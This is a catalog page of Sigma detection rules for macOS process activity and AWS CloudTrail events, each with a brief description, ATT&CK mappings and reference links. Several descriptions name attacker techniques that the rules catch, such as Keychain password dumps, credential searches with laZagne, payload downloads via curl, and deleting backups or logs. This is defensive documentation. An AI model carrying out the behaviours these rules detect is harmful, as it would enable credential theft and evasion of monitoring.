Detects the execution of a renamed instance of the Remote Monitoring and Management (RMM) tool, MeshAgent. RMM tools such as MeshAgent are commonly utilized by IT administrators for legitimate remote support and system management. However, malicious actors may exploit these tools by renaming them to bypass detection mechanisms, enabling unauthorized access and control over compromised systems.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Renamed MeshAgent Execution - MacOS"*

View relationships graph

Remote Access Tool - Renamed MeshAgent Execution - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 16981. Table References

Links
https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
https://www.security.com/threat-intelligence/medusa-ransomware-attacks
https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_access_tools_renamed_meshagent_execution.yml

Local System Accounts Discovery - MacOs

Detects enumeration of local systeam accounts on MacOS

The tag is: *misp-galaxy:sigma-rules="Local System Accounts Discovery - MacOs"*

View relationships graph

Local System Accounts Discovery - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

Table 16982. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml

Suspicious Execution via macOS Script Editor

Detects when the macOS Script Editor utility spawns an unusual child process.

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution via macOS Script Editor"*

View relationships graph

Suspicious Execution via macOS Script Editor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"

Table 16983. Table References

Links
https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml

Payload Decoded and Decrypted via Built-in Utilities

Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.

The tag is: *misp-galaxy:sigma-rules="Payload Decoded and Decrypted via Built-in Utilities"*

View relationships graph

Payload Decoded and Decrypted via Built-in Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 16984. Table References

Links
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml

Suspicious Installer Package Child Process

Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters

The tag is: *misp-galaxy:sigma-rules="Suspicious Installer Package Child Process"*

View relationships graph

Suspicious Installer Package Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16985. Table References

Links
https://redcanary.com/blog/clipping-silver-sparrows-wings/
https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_installer_package_spawned_network_event.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_installer_susp_child_process.yml

Potential Base64 Decoded From Images

Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.

The tag is: *misp-galaxy:sigma-rules="Potential Base64 Decoded From Images"*

View relationships graph

Potential Base64 Decoded From Images has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 16986. Table References

Links
https://www.virustotal.com/gui/file/16bafdf741e7a13137c489f3c8db1334f171c7cb13b62617d691b0a64783cc48/behavior
https://www.virustotal.com/gui/file/483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tail_base64_decode_from_image.yml

Potential In-Memory Download And Compile Of Payloads

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

The tag is: *misp-galaxy:sigma-rules="Potential In-Memory Download And Compile Of Payloads"*

View relationships graph

Potential In-Memory Download And Compile Of Payloads has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16987. Table References

Links
https://redcanary.com/blog/mac-application-bundles/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_in_memory_download_and_compile.yml

Potential XCSSET Malware Infection

Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also

vulnerable to having their credentials, accounts, and other vital data stolen.

The tag is: *misp-galaxy:sigma-rules="Potential XCSSET Malware Infection"*

Table 16988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml

Credentials In Files

Detecting attempts to extract passwords with grep and laZagne

The tag is: *misp-galaxy:sigma-rules="Credentials In Files"*

View relationships graph

Credentials In Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 16989. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml

Suspicious Browser Child Process - MacOS

Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.

The tag is: *misp-galaxy:sigma-rules="Suspicious Browser Child Process - MacOS"*

View relationships graph

Suspicious Browser Child Process - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16990. Table References

Links
https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml
https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_browser_child_process.yml

File Download Via Nscurl - MacOS

Detects the execution of the nscurl utility in order to download files.

The tag is: *misp-galaxy:sigma-rules="File Download Via Nscurl - MacOS"*

View relationships graph

File Download Via Nscurl - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16991. Table References

Links
https://gist.github.com/nasbench/ca6ef95db04ae04ffd1e0b1ce709cadd
https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl
https://www.loobins.io/binaries/nscurl/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml

Hidden User Creation

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

The tag is: *misp-galaxy:sigma-rules="Hidden User Creation"*

View relationships graph

Hidden User Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

Table 16992. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml

Creation Of A Local User Account

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:sigma-rules="Creation Of A Local User Account"*

View relationships graph

Creation Of A Local User Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16993. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md
https://ss64.com/osx/sysadminctl.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml

Credentials from Password Stores - Keychain

Detects passwords dumps from Keychain

The tag is: *misp-galaxy:sigma-rules="Credentials from Password Stores - Keychain"*

View relationships graph

Credentials from Password Stores - Keychain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

Table 16994. Table References

Links
https://gist.github.com/Capybara/6228955
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml

Decode Base64 Encoded Text -MacOs

Detects usage of base64 utility to decode arbitrary base64-encoded text

The tag is: *misp-galaxy:sigma-rules="Decode Base64 Encoded Text -MacOs"*

View relationships graph

Decode Base64 Encoded Text -MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 16995. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml

System Information Discovery Using System_Profiler

Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.

The tag is: *misp-galaxy:sigma-rules="System Information Discovery Using System_Profiler"*

View relationships graph

System Information Discovery Using System_Profiler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

Table 16996. Table References

Links
https://ss64.com/mac/system_profiler.html
https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
https://www.sentinelone.com/wp-content/uploads/pdf-gen/1630910064/20-common-tools-techniques-used-by-macos-threat-actors-malware.pdf
https://www.trendmicro.com/en_za/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://objective-see.org/blog/blog_0x62.html
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml

System Network Connections Discovery - MacOs

Detects usage of system utilities to discover system network connections

The tag is: *misp-galaxy:sigma-rules="System Network Connections Discovery - MacOs"*

View relationships graph

System Network Connections Discovery - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 16997. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml

Hidden Flag Set On File/Directory Via Chflags - MacOS

Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.

The tag is: *misp-galaxy:sigma-rules="Hidden Flag Set On File/Directory Via Chflags - MacOS"*

View relationships graph

Hidden Flag Set On File/Directory Via Chflags - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16998. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://ss64.com/mac/chflags.html
https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml

Indicator Removal on Host - Clear Mac System Logs

Detects deletion of local audit logs

The tag is: *misp-galaxy:sigma-rules="Indicator Removal on Host - Clear Mac System Logs"*

View relationships graph

Indicator Removal on Host - Clear Mac System Logs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"

Table 16999. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml

Time Machine Backup Deletion Attempt Via Tmutil - MacOS

Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.

The tag is: *misp-galaxy:sigma-rules="Time Machine Backup Deletion Attempt Via Tmutil - MacOS"*

View relationships graph

Time Machine Backup Deletion Attempt Via Tmutil - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 17000. Table References

Links
https://www.loobins.io/binaries/tmutil/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml

Clipboard Data Collection Via OSAScript

Detects possible collection of data from the clipboard via execution of the osascript binary

The tag is: *misp-galaxy:sigma-rules="Clipboard Data Collection Via OSAScript"*

View relationships graph

Clipboard Data Collection Via OSAScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"

Table 17001. Table References

Links
https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clipboard_data_via_osascript.yml

Security Software Discovery - MacOs

Detects usage of system utilities (only grep for now) to discover security software discovery

The tag is: *misp-galaxy:sigma-rules="Security Software Discovery - MacOs"*

View relationships graph

Security Software Discovery - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 17002. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml

Suspicious History File Operations

Detects commandline operations on shell history files

The tag is: *misp-galaxy:sigma-rules="Suspicious History File Operations"*

View relationships graph

Suspicious History File Operations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shell History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 17003. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml

Space After Filename - macOS

Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.

The tag is: *misp-galaxy:sigma-rules="Space After Filename - macOS"*

View relationships graph

Space After Filename - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006" with estimative-language:likelihood-probability="almost-certain"

Table 17004. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml

Remote Access Tool - Potential MeshAgent Execution - MacOS

Detects potential execution of MeshAgent which is a tool used for remote access. Historical data shows that threat actors rename MeshAgent binary to evade detection. Matching command lines with the '--meshServiceName' argument can indicate that the MeshAgent is being used for remote access.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Potential MeshAgent Execution - MacOS"*

View relationships graph

Remote Access Tool - Potential MeshAgent Execution - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 17005. Table References

Links
https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
https://www.security.com/threat-intelligence/medusa-ransomware-attacks
https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_access_tools_meshagent_arguments.yml

File and Directory Discovery - MacOS

Detects usage of system utilities to discover files and directories

The tag is: *misp-galaxy:sigma-rules="File and Directory Discovery - MacOS"*

View relationships graph

File and Directory Discovery - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17006. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml

New File Exclusion Added To Time Machine Via Tmutil - MacOS

Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.

The tag is: *misp-galaxy:sigma-rules="New File Exclusion Added To Time Machine Via Tmutil - MacOS"*

View relationships graph

New File Exclusion Added To Time Machine Via Tmutil - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 17007. Table References

Links
https://www.loobins.io/binaries/tmutil/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml

Potential Persistence Via PlistBuddy

Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via PlistBuddy"*

View relationships graph

Potential Persistence Via PlistBuddy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

Table 17008. Table References

Links
https://redcanary.com/blog/clipping-silver-sparrows-wings/
https://www.manpagez.com/man/8/PlistBuddy/
https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_persistence_via_plistbuddy.yml

New Network ACL Entry Added

Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.

The tag is: *misp-galaxy:sigma-rules="New Network ACL Entry Added"*

View relationships graph

New Network ACL Entry Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"

Table 17009. Table References

Links
https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_new_acl_entries.yml

AWS ElastiCache Security Group Modified or Deleted

Identifies when an ElastiCache security group has been modified or deleted.

The tag is: *misp-galaxy:sigma-rules="AWS ElastiCache Security Group Modified or Deleted"*

View relationships graph

AWS ElastiCache Security Group Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-

language:likelihood-probability="almost-certain"

Table 17010. Table References

Links
https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_modified_or_deleted.yml

SES Identity Has Been Deleted

Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities

The tag is: *misp-galaxy:sigma-rules="SES Identity Has Been Deleted"*

View relationships graph

SES Identity Has Been Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 17011. Table References

Links
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_delete_identity.yml

PUA - AWS TruffleHog Execution

Detects the execution of TruffleHog, a popular open-source tool used for scanning repositories for secrets and sensitive information, within an AWS environment. It has been reported to be used by threat actors for credential harvesting. All detections should be investigated to determine if the usage is authorized by security teams or potentially malicious.

The tag is: *misp-galaxy:sigma-rules="PUA - AWS TruffleHog Execution"*

View relationships graph

PUA - AWS TruffleHog Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 17012. Table References

Links
https://github.com/trufflesecurity/trufflehog
https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_pua_trufflehog.yml

New AWS Lambda Function URL Configuration Created

Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

The tag is: *misp-galaxy:sigma-rules="New AWS Lambda Function URL Configuration Created"*

Table 17013. Table References

Links
https://www.wiz.io/blog/how-to-set-secure-defaults-on-aws
https://docs.aws.amazon.com/lambda/latest/dg/API_CreateFunctionUrlConfig.html
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_lambda_function_url.yml

AWS Root Credentials

Detects AWS root account usage

The tag is: *misp-galaxy:sigma-rules="AWS Root Credentials"*

View relationships graph

AWS Root Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17014. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_root_account_usage.yml

AWS New Lambda Layer Attached

Detects when a user attached a Lambda layer to an existing Lambda function. A malicious Lambda layer could execute arbitrary code in the context of the function's IAM role. This would give an adversary access to resources that the function has access to.

The tag is: *misp-galaxy:sigma-rules="AWS New Lambda Layer Attached"*

Table 17015. Table References

Links
https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html
https://github.com/clearvector/lambda-spy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_new_lambda_layer_attached.yml

AWS VPC Flow Logs Deleted

Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call. Adversaries may delete flow logs to evade detection or remove evidence of network activity, hindering forensic investigations and visibility into malicious operations.

The tag is: *misp-galaxy:sigma-rules="AWS VPC Flow Logs Deleted"*

Table 17016. Table References

Links
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html
https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_vpc_flow_logs_deleted.yml

AWS STS GetSessionToken Misuse

Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.

The tag is: *misp-galaxy:sigma-rules="AWS STS GetSessionToken Misuse"*

View relationships graph

AWS STS GetSessionToken Misuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

Table 17017. Table References

Links
https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html
https://github.com/elastic/detection-rules/pull/1213
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml

AWS GuardDuty Detector Deleted Or Updated

Detects successful deletion or disabling of an AWS GuardDuty detector, possibly by an attacker trying to avoid detection of its malicious activities. Upon deletion, GuardDuty stops monitoring the environment and all existing findings are lost. Verify with the user identity that this activity is legitimate.

The tag is: *misp-galaxy:sigma-rules="AWS GuardDuty Detector Deleted Or Updated"*

View relationships graph

AWS GuardDuty Detector Deleted Or Updated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"

Table 17018. Table References

Links
https://docs.datadoghq.com/security/default_rules/719-39f-9cd/
https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_suspend-disable.html
https://docs.stellarcyber.ai/5.2.x/Using/ML/Alert-Rule-Based-Potentially_Malicious_AWS_Activity.html
https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateDetector.html
https://help.fortinet.com/fsiem/Public_Resource_Access/7_4_0/rules/PH_RULE_AWS_GuardDuty_Detector_Deletion.htm

https://www.atomicredteam.io/atomic-red-team/atomics/T156001#atomic-test-46---aws---guardduty-suspension-or-deletion
https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html
